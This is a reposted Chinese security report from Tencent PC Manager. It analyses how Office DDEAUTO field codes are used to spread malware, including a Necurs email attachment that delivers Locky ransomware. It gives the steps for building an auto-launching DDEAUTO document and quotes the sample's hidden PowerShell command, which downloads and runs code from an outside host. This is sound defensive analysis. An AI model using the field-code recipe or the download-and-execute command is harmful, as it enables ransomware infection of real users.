安全路透社
当前位置:安全路透社 > 网络转载 > 正文

Office DDEAUTO技术分析报告

0×1 背景

过去几年,基于宏的文档攻击技术一直是主流,虽然需要用户主动进行确认,但是攻击的成功率依然非常的高。不过,近段时间来,使用Office DDEAUTO技术来传播恶意文件的方法已经越来越流行。该技术很快被FIN7组织、Necurs僵尸网络所采用,用来进行APT攻击,以及用来传播勒索病毒。该方法已经开始替代了用宏技术来传播,成为当前使用office为载体传播病毒的新宠。

0×2 DDE技术介绍

Windows提供了应用程序间数据传输的若干种方法。其中一种就是使用动态数据交换(DDE)协议。DDE协议是一套消息和指示的集合。通过发送消息以及共享内存实现应用程序的数据共享和交换。应用程序可以使用DDE协议实现一次性数据传输以及持续的数据交换(当新数据可用时,应用程序发送更新通知给另一个应用程序)。更详细的可以参考MSDN的介绍(https://msdn.microsoft.com/en-us/library/windows/desktop/ms648774(v=vs.85).aspx)。

构造的方法如下:

新建一个Word文档,通过Ctrl+F9添加一个域,然后修改域代码为:{ DDEAUTO c:\windows\system32\cmd.exe “/k notepad.exe” }

Office DDEAUTO技术分析报告

DDEAUTO表明是一个自动更新的DDE,后面跟的是可执行文件的路径,然后””里面表明可执行文件的参数,保存文档。

也可以修改DDEAUTO为DDE,然后需要用WinRAR打开doc文档word/settings.xml,嵌入代码:<w:updateFields w:val=”true”/>

Office DDEAUTO技术分析报告

执行样本后弹出记事本程序:

Office DDEAUTO技术分析报告

0×3 样本分析

样本名:DC00035305.doc

样本MD5:FD5D0801D9470908090DCD36AE88E96C

该样本是Necurs僵尸网络发送的恶意邮件里的附件,用来传播locky系列勒索病毒。主要分析下DDE的启动过程。

1、 运行样本后,首先会弹出两个非安全风险提示的对话框。

Office DDEAUTO技术分析报告

Office DDEAUTO技术分析报告

2、 都点“是”按钮后,winword.exe会启动cmd.exe,一次来执行powershell命令:

Office DDEAUTO技术分析报告

3、 执行命令:powershell -NoP -sta -NonI -w hidden $e=(New-Object System.Net.WebClient).DownloadString(‘http://pdj.co.id/hjergf76‘);powershell -e $e,该命令以-w hidden隐藏窗口,-nop强行绕过UAC执行指令,(New-Object System.Net.WebClient).DownloadString下载远程可执行文件,然后运行。下载地址为:hxxp://pdj.co.id/hjergf76。

4、 下载回来的文件为locky系列敲诈者病毒,运行后会加密文档文件,并要求支付0.25比特币以进行解密。

Office DDEAUTO技术分析报告

5、 查看该样本,发现样本是恶意利用了DDE协议

在DOC文件中发现一段文字,通过右键该段文字其实是一段域代码,并且从代码中发现了powershell.exe的参数,证明该DOC是利用了DDE协议传播恶意代码文件 :

Office DDEAUTO技术分析报告

Office DDEAUTO技术分析报告

0×4 DDEAUTO原理分析

下面重点分析下DDEAUTO启动的原理:

1、 首先会将DDEAUTO的三个字段参数放入全局原子表用于进程间共享字符串数据,这意味着DDEAUTO的三个字段不能超过255字节的长度。

Office DDEAUTO技术分析报告

2、 在全局变量中存在一个结构,该结构(4字节一个成员)第一个成员存储了MSWord窗口的HWND,第二个成员用于储存DDE交互的窗口HWND,并且初始化为0,通过下图的函数获取。

Office DDEAUTO技术分析报告

3、 接着程序会调用SendMessageTimeoutW发送广播消息WM_DDE_INITIATE到电脑上运行的程序的所有顶级窗口,每个窗口将被给予1000ms时间以响应此DDE启动消息。

Office DDEAUTO技术分析报告

4、 如果正在运行的程序响应DDE启动请求,则会发送WM_DDE_ACK应答MSWord

然后MSWord更新储存DDE信息结构的第二个成员的数据为应答窗口的HWND,后续WM_DDE_ACK就会响应WM_DDE_TERMINATE消息,在MSDN中描述DDE请求的目标进程应该已经运行,此处就开始走MSDN描述的流程。

5、 假设目标进程没有运行,根据MSDN的描述,此处应该提示用户目标进程未执行

然而在实际代码中,如果DDE没有收到目标进程应答,会从全局原子中读取出字符串拼接,然后由MSWord创建一个新进程。

Office DDEAUTO技术分析报告

Office DDEAUTO技术分析报告

6、 然后函数通过调用CreateProcessW创建一个新的进程:

Office DDEAUTO技术分析报告

由此分析发现,这是一个DDE上的WWLIB实现错误,应该要求用户自己启动目标进程,而不是自动启动目标进程。

0×5 安全建议

通过上面的分析发现,该攻击方法需要用户交互。但是我们也注意到,由于安全意识的缺乏,无论是企业里还是个人用户,依然有大量的用户中招。同时微软也表示,DDEAUTO技术并非漏洞而是正常的功能,因此并不打算修复该问题。因此我们推测,该方法会在很长时间里成为文档攻击的主流。

因此,用户一定要提供安全意识,不要随意打开来历不明的邮件的附件,使用腾讯电脑管家可以拦截该方式的攻击。

*本文作者:腾讯电脑管家,转载请注明来自 FreeBuf.COM

未经允许不得转载:安全路透社 » Office DDEAUTO技术分析报告

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册